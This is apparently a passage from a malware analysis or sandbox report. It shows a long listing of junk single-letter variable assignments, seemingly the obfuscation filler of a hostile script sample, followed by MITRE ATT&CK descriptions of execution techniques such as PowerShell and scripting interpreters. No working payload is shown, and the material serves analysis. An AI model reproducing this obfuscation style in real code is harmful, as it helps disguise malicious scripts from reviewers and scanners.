376	ibucqosp = "w";
377	ibucqosp = "a";
378	ibucqosp = "P";
379	ibucqosp = "w";
380	ibucqosp = "n";
381	ibucqosp = "T";
382	ibucqosp = "z";
383	ibucqosp = "a";
384	ibucqosp = "M";
385	ibucqosp = "%";
386	vglhaymc = "V";
387	vglhaymc = "b";
388	vglhaymc = "l";
389	vglhaymc = "o";
390	vglhaymc = "P";
391	vglhaymc = "Y";
392	vglhaymc = "P";
393	vglhaymc = "f";
394	vglhaymc = "s";
395	vglhaymc = "B";
396	vglhaymc = "x";
397	vglhaymc = "M";
398	vglhaymc = "l";
399	vglhaymc = "V";
400	vglhaymc = "g";
401	vglhaymc = "H";
402	vglhaymc = "E";
403	vglhaymc = "d";
404	vglhaymc = "X";
405	vglhaymc = "c";
406	vglhaymc = "q";
407	vglhaymc = "g";
408	vglhaymc = "I";
409	vglhaymc = "H";
410	vglhaymc = "M";
411	vglhaymc = "d";
412	vglhaymc = "z";
413	vglhaymc = "X";
414	vglhaymc = "W";
415	vglhaymc = "s";
416	vglhaymc = "t";
417	vglhaymc = "a";
418	vglhaymc = "p";
419	vglhaymc = "n";
420	vglhaymc = "w";
421	vglhaymc = "f";
422	vglhaymc = "W";
423	vglhaymc = "l";
424	vglhaymc = "G";
425	vglhaymc = "k";
426	vglhaymc = "p";
427	vglhaymc = "a";
428	gkjywlqa = "e";
429	gkjywlqa = "c";
430	gkjywlqa = "e";
431	gkjywlqa = "x";
432	gkjywlqa = "x";
433	gkjywlqa = "l";
434	gkjywlqa = "e";
435	gkjywlqa = "F";
436	gkjywlqa = "P";
437	gkjywlqa = "s";
438	gkjywlqa = "H";
439	gkjywlqa = "G";
440	gkjywlqa = "m";
441	gkjywlqa = "x";
442	gkjywlqa = "e";
443	gkjywlqa = "T";
444	gkjywlqa = "j";
445	sskgapzy = "b";
446	sskgapzy = "g";
447	sskgapzy = "c";
448	sskgapzy = "w";
449	sskgapzy = "S";
450	sskgapzy = "y";
451	sskgapzy = "U";
452	sskgapzy = "t";
453	sskgapzy = "D";
454	sskgapzy = "H";
455	sskgapzy = "N";
456	sskgapzy = "s";
457	sskgapzy = "d";
458	sskgapzy = "z";
459	sskgapzy = "x";
460	sskgapzy = "e";
461	sskgapzy = "g";
462	sskgapzy = "N";
463	sskgapzy = "G";
464	sskgapzy = "q";
465	sskgapzy = "h";
466	sskgapzy = "u";
467	sskgapzy = "d";
468	sskgapzy = "N";
469	sskgapzy = "q";
470	sskgapzy = "n";
471	sskgapzy = "F";
472	sskgapzy = "S";
473	sskgapzy = "7";
474	debnk = "L";
475	debnk = "E";
476	debnk = "e";
477	debnk = "r";
478	debnk = "L";
479	debnk = "Y";
480	debnk = "w";
481	debnk = "n";
482	debnk = "l";
483	debnk = "K";
484	debnk = "p";
485	debnk = "Z";
486	debnk = "L";
487	debnk = "L";
488	debnk = "W";
489	debnk = "a";
490	debnk = "v";
491	debnk = "k";
492	debnk = "e";
493	debnk = "h";
494	debnk = "q";
495	debnk = "o";
496	debnk = "H";
497	debnk = "P";
498	debnk = "A";
499	debnk = "Q";
500	debnk = "i";
501	debnk = "N";
502	debnk = "E";
503	ipvnm = "Q";
504	ipvnm = "i";
505	ipvnm = "V";
506	ipvnm = "b";
507	ipvnm = "p";
508	ipvnm = "Z";
509	ipvnm = "J";
510	ipvnm = "m";
511	ipvnm = "g";
512	ipvnm = "M";
513	ipvnm = "j";
514	ipvnm = "r";
515	ipvnm = "s";
516	ipvnm = "H";
517	ipvnm = "E";
518	ipvnm = "I";
519	ipvnm = "c";
520	ipvnm = "n";
521	ipvnm = "q";
522	ipvnm = "A";
523	ipvnm = "C";
524	ipvnm = "X";
525	ipvnm = "B";
526	ipvnm = "Y";
527	ipvnm = "Q";
528	ipvnm = "b";
529	ipvnm = "P";
530	ipvnm = "S";
531	ipvnm = "j";
532	ipvnm = "c";
533	ipvnm = "D";
534	ipvnm = "v";
535	ipvnm = "o";
536	ipvnm = "Y";
537	ipvnm = "H";
538	ipvnm = "H";
539	ipvnm = "N";
540	ipvnm = "I";
541	ipvnm = "t";
542	ipvnm = "M";
543	ipvnm = "f";
544	ipvnm = "h";
545	shvagh = "r";
546	shvagh = "t";
547	shvagh = "d";
548	shvagh = "T";
549	shvagh = "R";
550	shvagh = "J";
551	shvagh = "x";
552	shvagh = "j";
553	shvagh = "K";
554	shvagh = "M";
555	shvagh = "h";
556	shvagh = "w";
557	shvagh = "I";
558	shvagh = "V";
559	shvagh = "l";
560	shvagh = "P";
561	shvagh = "P";
562	shvagh = "Z";
563	shvagh = "A";
564	shvagh = "F";
565	shvagh = "Y";
566	shvagh = "j";
567	shvagh = "H";
568	shvagh = "O";
569	shvagh = "I";
570	shvagh = "j";
571	shvagh = "o";
572	shvagh = "S";
573	shvagh = "T";
574	shvagh = "H";
575	xzwuq = "R";
576	xzwuq = "K";
577	xzwuq = "k";
578	xzwuq = "k";
579	xzwuq = "o";
580	xzwuq = "l";
581	xzwuq = "a";
582	xzwuq = "d";
583	xzwuq = "M";
584	xzwuq = "C";
585	xzwuq = "k";
586	xzwuq = "r";
587	xzwuq = "b";
588	xzwuq = "s";
589	xzwuq = "C";
590	xzwuq = "B";
591	xzwuq = "K";
592	xzwuq = "u";
593	xzwuq = "q";
594	xzwuq = "M";
595	xzwuq = "i";
596	xzwuq = "w";
597	xzwuq = "d";
598	xzwuq = "B";
599	xzwuq = "d";
600	xzwuq = "I";
601	xzwuq = "Z";
602	xzwuq = "h";
603	xzwuq = "X";
604	xzwuq = "h";
605	xzwuq = "f";
606	xzwuq = "H";
607	xzwuq = "Z";
608	xzwuq = "Y";
609	qcmzcyafs = "U";
610	qcmzcyafs = "O";
611	qcmzcyafs = "B";
612	qcmzcyafs = "u";
613	qcmzcyafs = "z";
614	qcmzcyafs = "V";
615	qcmzcyafs = "w";
616	qcmzcyafs = "u";
617	qcmzcyafs = "e";
618	qcmzcyafs = "j";
619	qcmzcyafs = "k";
620	qcmzcyafs = "t";
621	qcmzcyafs = "T";
622	asequy = "P";
623	asequy = "D";
624	asequy = "P";
625	asequy = "U";
626	asequy = "G";
627	asequy = "l";
628	yxybpzmmm = "h";
629	yxybpzmmm = "R";
630	yxybpzmmm = "Y";
631	yxybpzmmm = "H";
632	yxybpzmmm = "h";
633	yxybpzmmm = "u";
634	yxybpzmmm = "z";
635	yxybpzmmm = "k";
636	yxybpzmmm = "S";
637	yxybpzmmm = "i";
638	yxybpzmmm = "d";
639	yxybpzmmm = "s";
640	yxybpzmmm = "w";
641	yxybpzmmm = "j";
642	yxybpzmmm = "I";
643	yxybpzmmm = "Z";
644	yxybpzmmm = "U";
645	yxybpzmmm = "q";
646	yxybpzmmm = "V";
647	yxybpzmmm = "H";
648	yxybpzmmm = "F";
649	yxybpzmmm = "v";
650	yxybpzmmm = "B";
651	yxybpzmmm = "M";
652	yxybpzmmm = "V";
653	yxybpzmmm = "R";
654	yxybpzmmm = "P";
655	yxybpzmmm = "Y";
656	yxybpzmmm = "I";
657	yxybpzmmm = "C";
658	yxybpzmmm = "J";
659	yxybpzmmm = "T";
660	yxybpzmmm = "C";
661	yxybpzmmm = "a";
662	yxybpzmmm = "z";
663	yxybpzmmm = "\\";
664	cynkcb = "i";
665	cynkcb = "R";
666	cynkcb = "H";
667	cynkcb = "S";
668	cynkcb = "M";
669	cynkcb = "p";
670	cynkcb = "r";
671	cynkcb = "q";
672	cynkcb = "p";
673	cynkcb = "t";
674	cynkcb = "q";
675	cynkcb = "u";
676	cynkcb = "T";
677	cynkcb = "n";
678	cynkcb = "U";
679	cynkcb = "B";
680	cynkcb = "o";
681	cynkcb = "r";
682	cynkcb = "Y";
683	cynkcb = "y";
684	cynkcb = "e";
685	cynkcb = "O";
686	cynkcb = "V";
687	cynkcb = "t";
688	cynkcb = "M";
689	cynkcb = "V";
690	cynkcb = "H";
691	cynkcb = "t";
692	cynkcb = "x";
693	cynkcb = "E";
694	cynkcb = "o";
695	cynkcb = "U";
696	cynkcb = "L";
697	cynkcb = "l";
698	cynkcb = "Z";
699	cynkcb = "U";
700	cynkcb = "t";
701	cynkcb = "U";
702	cynkcb = "c";
703	cynkcb = "f";
704	cynkcb = "F";
705	cynkcb = "K";
706	cynkcb = "b";
707	cynkcb = "S";
708	plgvn = "G";
709	plgvn = "X";
710	plgvn = "y";
711	plgvn = "F";
712	plgvn = "k";
713	plgvn = "D";
714	plgvn = "a";
715	plgvn = "o";
716	plgvn = "x";
717	plgvn = "E";
718	plgvn = "r";
719	plgvn = "t";
720	plgvn = "B";
721	plgvn = "N";
722	plgvn = "K";
723	plgvn = "I";
724	plgvn = "e";
725	plgvn = "u";
726	plgvn = "1";
727	nxylj = "l";
728	nxylj = "f";
729	nxylj = "D";
730	nxylj = "P";
731	nxylj = "X";
732	nxylj = "B";
733	nxylj = "Q";
734	nxylj = "p";
735	nxylj = "i";
736	nxylj = "s";
737	nxylj = "G";
738	nxylj = "I";
739	nxylj = "p";
740	nxylj = "O";
741	nxylj = "r";
742	nxylj = "Q";
743	nxylj = "Q";
744	nxylj = "K";
745	ugdrg = "J";
746	ugdrg = "O";
747	ugdrg = "J";
748	ugdrg = "x";
749	ugdrg = "S";
750	ugdrg = "I";
751	ugdrg = "U";
752	ugdrg = "K";
753	ugdrg = "F";
754	ugdrg = "4";
755	rfubooh = "A";
756	rfubooh = "x";
757	rfubooh = "X";
758	rfubooh = "r";
759	rfubooh = "P";
760	rfubooh = "H";
761	rfubooh = "v";
762	rfubooh = "n";
763	rfubooh = "z";
764	rfubooh = "l";
765	rfubooh = "a";
766	rfubooh = "m";
767	rfubooh = "Y";
768	rfubooh = "a";
769	rfubooh = "M";
770	rfubooh = "b";
771	rfubooh = "V";
772	rfubooh = "S";
773	rfubooh = "U";
774	rfubooh = "c";
775	rfubooh = "a";
776	rfubooh = "h";
777	rfubooh = "h";
778	rfubooh = "G";
779	rfubooh = "E";
780	rfubooh = "Z";
781	rfubooh = "F";
782	rfubooh = "p";
783	rfubooh = "t";
784	rfubooh = "n";
785	rfubooh = "u";
786	rfubooh = "H";
787	rfubooh = "I";
788	rfubooh = "E";
789	rfubooh = "E";
790	rfubooh = "C";
791	rfubooh = "H";
792	rfubooh = "x";
793	rfubooh = "k";
794	vvile = "J";
795	vvile = "v";
796	vvile = "O";
797	vvile = "p";
798	vvile = "P";
799	vvile = "E";
800	vvile = "j";
801	vvile = "f";
802	vvile = "J";
803	vvile = "q";
804	vvile = "c";
805	vvile = "r";
806	vvile = "T";
807	vvile = "x";
808	vvile = "g";
809	vvile = "J";
810	vvile = "B";
811	vvile = "M";
812	vvile = "b";
813	vvile = "c";
814	vvile = "J";
815	vvile = "z";
816	vvile = "E";
817	vvile = "X";
818	vvile = "l";
819	vvile = "j";
820	vvile = "K";
821	vvile = "K";
822	vvile = "I";
823	vvile = "m";
824	vvile = "K";
825	vvile = "c";
826	vvile = "S";
827	vvile = "F";
828	vvile = "K";
829	vvile = "s";
830	vvile = "b";
831	vvile = "P";
832	vvile = "q";
833	jqciboxg = "v";
834	jqciboxg = "c";
835	jqciboxg = "K";
836	jqciboxg = "v";
837	jqciboxg = "i";
838	jqciboxg = "B";
839	jqciboxg = "x";
840	jqciboxg = "f";
841	jqciboxg = "W";
842	jqciboxg = "D";
843	jqciboxg = "w";
844	jqciboxg = "e";
845	jqciboxg = "Q";
846	jqciboxg = "w";
847	jqciboxg = "o";
848	jqciboxg = "p";
849	jqciboxg = "d";
850	jqciboxg = "l";
851	jqciboxg = "T";
852	jqciboxg = "B";
853	jqciboxg = "I";
854	jqciboxg = "P";
855	jqciboxg = "U";
856	jqciboxg = "a";
857	jqciboxg = "O";
858	jqciboxg = "Q";
859	jqciboxg = "f";
860	jqciboxg = "z";
861	jqciboxg = "q";
862	jqciboxg = "F";
863	xkkejl = "x";
864	xkkejl = "S";
865	xkkejl = "A";
866	xkkejl = "g";
867	xkkejl = "a";
868	xkkejl = "n";
869	xkkejl = "I";
870	xkkejl = "f";
871	xkkejl = "M";
872	xkkejl = "C";
873	xkkejl = "X";
874	xkkejl = "b";
875	xkkejl = "a";
876	xkkejl = "H";
877	xkkejl = "i";
878	xkkejl = "m";
879	xkkejl = "j";
880	xkkejl = "l";
881	xkkejl = "H";
882	xkkejl = "B";
883	xkkejl = "R";
884	xkkejl = "H";
885	xkkejl = "I";
886	xkkejl = "X";
887	xkkejl = "R";
888	xkkejl = "G";
889	xkkejl = "q";
890	xkkejl = "d";
891	xkkejl = "W";
892	xkkejl = "z";
893	xkkejl = "U";
894	xkkejl = "s";
895	xkkejl = "w";
896	xkkejl = "s";
897	xkkejl = "a";
898	xkkejl = "I";
899	xkkejl = "p";
900	xkkejl = "W";
901	xkkejl = "i";
902	xkkejl = "z";
903	xkkejl = "m";
904	xkkejl = "i";
905	xkkejl = "n";
906	xkkejl = "O";
907	uvrckwlq = "f";
908	uvrckwlq = "F";
909	uvrckwlq = "I";
910	uvrckwlq = "I";
911	uvrckwlq = "A";
912	uvrckwlq = "F";
913	uvrckwlq = "P";
914	uvrckwlq = "E";
915	uvrckwlq = "t";
916	uvrckwlq = "W";
917	uvrckwlq = "n";
918	uvrckwlq = "d";
919	uvrckwlq = "g";
920	uvrckwlq = "A";
921	uvrckwlq = "c";
922	uvrckwlq = "E";
923	uvrckwlq = "r";
924	uvrckwlq = "C";
925	uvrckwlq = "Y";
926	uvrckwlq = "H";
927	uvrckwlq = "V";
928	uvrckwlq = "f";
929	uvrckwlq = "m";
930	uvrckwlq = "A";
931	uvrckwlq = "S";
932	uvrckwlq = "n";
933	sealc = "g";
934	sealc = "N";
935	sealc = "U";
936	sealc = "U";
937	sealc = "X";
938	sealc = "o";
939	sealc = "q";
940	sealc = "B";
941	sealc = "o";
942	sealc = "U";
943	sealc = "D";
944	sealc = "U";
945	sealc = "F";
946	sealc = "y";
947	sealc = "W";
948	sealc = "u";
949	sealc = "i";
950	sealc = "y";
951	sealc = "s";
952	sealc = "b";
953	aojrjc = "v";
954	aojrjc = "V";
955	aojrjc = "f";
956	aojrjc = "e";
957	aojrjc = "l";
958	aojrjc = "m";
959	aojrjc = "G";
960	aojrjc = "u";
961	aojrjc = "u";
962	aojrjc = "D";
963	aojrjc = "W";
964	aojrjc = "j";
965	aojrjc = "J";
966	aojrjc = "M";
967	aojrjc = "v";
968	aojrjc = "b";
969	aojrjc = "Z";
970	aojrjc = "E";
971	aojrjc = "l";
972	aojrjc = "r";
973	aojrjc = "y";
974	aojrjc = "i";
975	aojrjc = "k";
976	aojrjc = "F";
977	aojrjc = "E";
978	aojrjc = "g";
979	aojrjc = "s";
980	aojrjc = "m";
981	aojrjc = "R";
982	rajtj = "W";
983	rajtj = "f";
984	rajtj = "j";
985	rajtj = ":";
986	tyhqktgq = "N";
987	tyhqktgq = "V";
988	tyhqktgq = "z";
989	tyhqktgq = "R";
990	tyhqktgq = "t";
991	uuievn = "g";
992	uuievn = "R";
993	uuievn = "Y";
994	uuievn = "H";
995	uuievn = "H";
996	uuievn = "h";
997	uuievn = "O";
998	uuievn = "L";
999	uuievn = "T";
1000	uuievn = "M";
1001	uuievn = "X";
1002	uuievn = "P";
1003	uuievn = "J";
1004	uuievn = "R";
1005	uuievn = "i";
1006	uuievn = "Q";
1007	uuievn = "m";
1008	uuievn = "X";
1009	uuievn = "2";
1010	exuygkniw = "S";
1011	exuygkniw = "P";
1012	exuygkniw = "e";
1013	exuygkniw = "R";
1014	exuygkniw = "B";
1015	exuygkniw = "G";
1016	exuygkniw = "u";
1017	exuygkniw = "z";
1018	exuygkniw = "G";
1019	exuygkniw = "q";
1020	exuygkniw = "X";
1021	exuygkniw = "j";
1022	exuygkniw = "B";
1023	exuygkniw = "Z";
1024	exuygkniw = "X";
1025	exuygkniw = "S";
1026	exuygkniw = "S";
1027	exuygkniw = "L";
1028	exuygkniw = "Y";
1029	exuygkniw = "E";
1030	exuygkniw = "H";
1031	exuygkniw = "o";
1032	exuygkniw = "O";
1033	exuygkniw = "W";
1034	exuygkniw = "f";
1035	exuygkniw = "Z";
1036	exuygkniw = "e";
1037	exuygkniw = "v";
1038	exuygkniw = "O";
1039	exuygkniw = "x";
1040	exuygkniw = "C";
1041	exuygkniw = "m";
1042	ggkxvb = "Y";
1043	ggkxvb = "T";
1044	ggkxvb = "Z";
1045	ggkxvb = "L";
1046	ggkxvb = "O";
1047	ggkxvb = "c";
1048	ggkxvb = "E";
1049	ggkxvb = "I";
1050	ggkxvb = "u";
1051	ggkxvb = "h";
1052	ggkxvb = "Z";
1053	ggkxvb = "C";
1054	zxvpfzw = "p";
1055	zxvpfzw = "h";
1056	zxvpfzw = "A";
1057	zxvpfzw = "k";
1058	zxvpfzw = "t";
1059	zxvpfzw = "N";
1060	zxvpfzw = "u";
1061	zxvpfzw = "d";
1062	zxvpfzw = "Y";
1063	zxvpfzw = "n";
1064	zxvpfzw = "o";
1065	zxvpfzw = "H";
1066	zxvpfzw = "h";
1067	zxvpfzw = "x";
1068	zxvpfzw = "S";
1069	zxvpfzw = "k";
1070	zxvpfzw = "K";
1071	zxvpfzw = "r";
1072	zxvpfzw = "L";
1073	zxvpfzw = "I";
1074	zxvpfzw = "h";
1075	zxvpfzw = "h";
1076	zxvpfzw = "j";
1077	zxvpfzw = "Q";
1078	zxvpfzw = "3";
1079	qvcmsgmj = "s";
1080	qvcmsgmj = "q";
1081	qvcmsgmj = "k";
1082	qvcmsgmj = "H";
1083	qvcmsgmj = "P";
1084	qvcmsgmj = "H";
1085	qvcmsgmj = "G";
1086	qvcmsgmj = "X";
1087	qvcmsgmj = "K";
1088	qvcmsgmj = "m";
1089	qvcmsgmj = "p";
1090	qvcmsgmj = "G";
1091	qvcmsgmj = "V";
1092	qvcmsgmj = "R";
1093	qvcmsgmj = "W";
1094	qvcmsgmj = "a";
1095	qvcmsgmj = "t";
1096	qvcmsgmj = "T";
1097	qvcmsgmj = "U";
1098	qvcmsgmj = "r";
1099	qvcmsgmj = "O";
1100	qvcmsgmj = "l";
1101	qvcmsgmj = "d";
1102	qvcmsgmj = "U";
1103	qvcmsgmj = "K";
1104	qvcmsgmj = "M";
1105	qvcmsgmj = "y";
1106	qvcmsgmj = "o";
1107	qvcmsgmj = "z";
1108	qvcmsgmj = "G";
1109	qvcmsgmj = "g";
1110	qvcmsgmj = "W";
1111	qvcmsgmj = "K";
1112	qvcmsgmj = "n";
1113	qvcmsgmj = "L";
1114	qvcmsgmj = "z";
1115	qvcmsgmj = "J";
1116	qvcmsgmj = "g";
1117	vvlyierm = "C";
1118	vvlyierm = "j";
1119	vvlyierm = "s";
1120	vvlyierm = "C";
1121	vvlyierm = "R";
1122	vvlyierm = "M";
1123	vvlyierm = "y";
1124	vvlyierm = "X";
1125	vvlyierm = "Z";
1126	vvlyierm = "H";
1127	vvlyierm = "F";
1128	vvlyierm = "y";
1129	vvlyierm = "f";
1130	vvlyierm = "t";
1131	vvlyierm = "p";
1132	vvlyierm = "d";
1133	vvlyierm = "B";
1134	vvlyierm = "Y";
1135	vvlyierm = "t";
1136	vvlyierm = "i";
1137	vvlyierm = "U";
1138	vvlyierm = "y";
1139	vvlyierm = "T";
1140	vvlyierm = "f";
1141	vvlyierm = "f";
1142	vvlyierm = "M";
1143	vvlyierm = "u";
1144	vvlyierm = "o";
1145	axrhoza = "p";
1146	axrhoza = "v";
1147	fzqulmjbz = "P";
1148	fzqulmjbz = "F";
1149	fzqulmjbz = "f";
1150	fzqulmjbz = "j";
1151	fzqulmjbz = "S";
1152	fzqulmjbz = "s";
1153	fzqulmjbz = "z";
1154	fzqulmjbz = "o";
1155	fzqulmjbz = "p";
1156	fzqulmjbz = "L";
1157	fzqulmjbz = "D";
1158	fzqulmjbz = "t";
1159	fzqulmjbz = "P";
1160	cvzdkwxyt = "k";
1161	cvzdkwxyt = "D";
1162	cvzdkwxyt = "i";
1163	cvzdkwxyt = "p";
1164	cvzdkwxyt = "T";
1165	cvzdkwxyt = "Y";
1166	cvzdkwxyt = "m";
1167	cvzdkwxyt = "U";
1168	cvzdkwxyt = "V";
1169	cvzdkwxyt = "b";
1170	cvzdkwxyt = "w";
1171	cvzdkwxyt = "x";
1172	cvzdkwxyt = "x";
1173	cvzdkwxyt = "v";
1174	cvzdkwxyt = "t";
1175	cvzdkwxyt = "G";
1176	cvzdkwxyt = "H";
1177	cvzdkwxyt = "I";
1178	cvzdkwxyt = "P";
1179	cvzdkwxyt = "A";
1180	cvzdkwxyt = "f";
1181	cvzdkwxyt = "p";
1182	cvzdkwxyt = "m";
1183	cvzdkwxyt = "I";
1184	cvzdkwxyt = "A";
1185	cvzdkwxyt = "t";
1186	cvzdkwxyt = "x";
1187	cvzdkwxyt = "Q";
1188	cvzdkwxyt = "G";
1189	cvzdkwxyt = "L";
1190	evxrduoh = "j";
1191	evxrduoh = "h";
1192	evxrduoh = "E";
1193	evxrduoh = "N";
1194	evxrduoh = "n";
1195	evxrduoh = "H";
1196	evxrduoh = "C";
1197	evxrduoh = "X";
1198	evxrduoh = "f";
1199	evxrduoh = "h";
1200	evxrduoh = "u";
1201	evxrduoh = "u";
1202	evxrduoh = "B";
1203	evxrduoh = "r";
1204	evxrduoh = "s";
1205	evxrduoh = "z";
1206	evxrduoh = "E";
1207	evxrduoh = "q";
1208	evxrduoh = "E";
1209	evxrduoh = "v";
1210	evxrduoh = "F";
1211	evxrduoh = "s";
1212	evxrduoh = "N";
1213	evxrduoh = "Z";
1214	evxrduoh = "O";
1215	evxrduoh = "O";
1216	evxrduoh = "X";
1217	evxrduoh = "b";
1218	evxrduoh = "i";
1219	evxrduoh = "i";
1220	evxrduoh = "D";
1221	evxrduoh = "0";
1222	rcyjw = "i";
1223	rcyjw = "J";
1224	rcyjw = "m";
1225	rcyjw = "a";
1226	rcyjw = "J";
1227	rcyjw = "P";
1228	rcyjw = "J";
1229	rcyjw = "n";
1230	rcyjw = "u";
1231	ovvovokd = "T";
1232	ovvovokd = "n";
1233	ovvovokd = "j";
1234	ovvovokd = "v";
1235	ovvovokd = "Z";
1236	ovvovokd = "x";
1237	ovvovokd = "M";
1238	ovvovokd = "a";
1239	ovvovokd = "P";
1240	ovvovokd = "q";
1241	ovvovokd = "S";
1242	ovvovokd = "L";
1243	ovvovokd = "W";
1244	ovvovokd = "h";
1245	ovvovokd = "M";
1246	ovvovokd = "B";
1247	ovvovokd = "J";
1248	ovvovokd = "H";
1249	ovvovokd = "U";
1250	ovvovokd = "F";
1251	ovvovokd = "m";
1252	ovvovokd = "-";
1253	ybitl = "B";
1254	ybitl = "x";
1255	ybitl = "K";
1256	ybitl = "b";
1257	ybitl = "5";
1258	juupe = "Z";
1259	juupe = "r";
1260	juupe = "H";
1261	juupe = "t";
1262	juupe = "v";
1263	juupe = "v";
1264	juupe = "X";
1265	juupe = "k";
1266	juupe = "H";
1267	juupe = "h";
1268	juupe = "o";
1269	juupe = "V";
1270	juupe = "t";
1271	juupe = "t";
1272	juupe = "T";
1273	juupe = "v";
1274	juupe = "m";
1275	juupe = "a";
1276	juupe = "k";
1277	juupe = "J";
1278	juupe = "x";
1279	juupe = "z";
1280	juupe = "I";
1281	juupe = "u";
1282	juupe = "z";
1283	juupe = "I";
1284	juupe = "O";
1285	juupe = "Q";
1286	juupe = "G";
1287	juupe = "W";
1288	juupe = "J";
1289	juupe = "t";
1290	juupe = "G";
1291	juupe = "I";
1292	juupe = "Z";
1293	juupe = "T";
1294	juupe = "v";
1295	juupe = "R";
1296	juupe = "a";
1297	juupe = "p";
1298	juupe = "y";
1299	juupe = "L";
1300	juupe = "j";
1301	juupe = "J";
1302	juupe = "c";
1303	vexvk = "N";
1304	vexvk = "d";
1305	vexvk = "t";
1306	vexvk = "h";
1307	vexvk = "a";
1308	vexvk = "j";
1309	vexvk = "Z";
1310	vexvk = "m";
1311	vexvk = "p";
1312	vexvk = "b";
1313	vexvk = "t";
1314	vexvk = "i";
1315	vexvk = "i";
1316	gjkigoyw = "P";
1317	gjkigoyw = "u";
1318	gjkigoyw = "I";
1319	gjkigoyw = "e";
1320	gjkigoyw = "L";
1321	gjkigoyw = "I";
1322	gjkigoyw = "L";
1323	gjkigoyw = "T";
1324	gjkigoyw = "y";
1325	gjkigoyw = "H";
1326	gjkigoyw = "j";
1327	gjkigoyw = "E";
1328	gjkigoyw = "G";
1329	gjkigoyw = "E";
1330	gjkigoyw = "v";
1331	gjkigoyw = "w";
1332	gjkigoyw = "r";
1333	gjkigoyw = "b";
1334	gjkigoyw = "c";
1335	gjkigoyw = "\"";
1336	tyqwsx = "t";
1337	tyqwsx = "f";
1338	tyqwsx = "a";
1339	tyqwsx = "o";
1340	tyqwsx = "v";
1341	tyqwsx = "K";
1342	tyqwsx = "o";
1343	tyqwsx = "s";
1344	tyqwsx = "g";
1345	tyqwsx = "U";
1346	tyqwsx = "H";
1347	tyqwsx = "f";
1348	tyqwsx = "n";
1349	tyqwsx = "E";
1350	tyqwsx = "G";
1351	tyqwsx = "D";
1352	tyqwsx = "b";
1353	tyqwsx = "V";
1354	tyqwsx = "f";
1355	tyqwsx = "b";
1356	tyqwsx = "j";
1357	tyqwsx = "u";
1358	tyqwsx = "w";
1359	jmqorwxc = "N";
1360	jmqorwxc = "E";
1361	jmqorwxc = "s";
1362	jmqorwxc = "h";
1363	jmqorwxc = "j";
1364	jmqorwxc = "a";
1365	jmqorwxc = "X";
1366	jmqorwxc = "l";
1367	jmqorwxc = "k";
1368	jmqorwxc = "e";
1369	jmqorwxc = "g";
1370	jmqorwxc = "P";
1371	jmqorwxc = "A";
1372	jmqorwxc = "T";
1373	jmqorwxc = "S";
1374	jmqorwxc = "M";
1375	jmqorwxc = "Y";
1376	jmqorwxc = "E";
1377	jmqorwxc = "z";
1378	jmqorwxc = "W";
1379	jmqorwxc = "q";
1380	jmqorwxc = "u";
1381	jmqorwxc = "W";
1382	jmqorwxc = "s";
1383	jmqorwxc = "r";
1384	jmqorwxc = "w";
1385	jmqorwxc = "G";
1386	jmqorwxc = "g";
1387	jmqorwxc = "O";
1388	jmqorwxc = "x";
1389	jmqorwxc = "g";
1390	jmqorwxc = "l";
1391	jmqorwxc = "c";
1392	jmqorwxc = "_";
1393	vknjig = "z";
1394	vknjig = "y";
1395	vknjig = "w";
1396	vknjig = "B";
1397	vknjig = "j";
1398	vknjig = "T";
1399	vknjig = "C";
1400	vknjig = "l";
1401	vknjig = "j";
1402	vknjig = "X";
1403	vknjig = "A";
1404	vknjig = "O";
1405	vknjig = "n";
1406	vknjig = "H";
1407	vknjig = "G";
1408	vknjig = "k";
1409	vknjig = "J";
1410	vknjig = "h";
1411	vknjig = "A";
1412	vknjig = "j";
1413	vknjig = "V";
1414	vknjig = "N";
1415	vknjig = "e";
1416	vknjig = "F";
1417	vknjig = "r";
1418	vknjig = "J";
1419	vknjig = "n";
1420	vknjig = "S";
1421	vknjig = "I";
1422	vknjig = "h";
1423	vknjig = "h";
1424	vknjig = "o";
1425	vknjig = "p";
1426	vknjig = "P";
1427	vknjig = "j";
1428	vknjig = "R";
1429	vknjig = "b";
1430	vknjig = "W";
1431	fgvrz = "d";
1432	fgvrz = "O";
1433	fgvrz = "E";
1434	fgvrz = "Z";
1435	fgvrz = "Q";
1436	fgvrz = "P";
1437	fgvrz = "K";
1438	fgvrz = "U";
1439	fgvrz = "R";
1440	fgvrz = "e";
1441	fgvrz = "/";
1442	pjggdjfe ( );	pjggdjfe() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

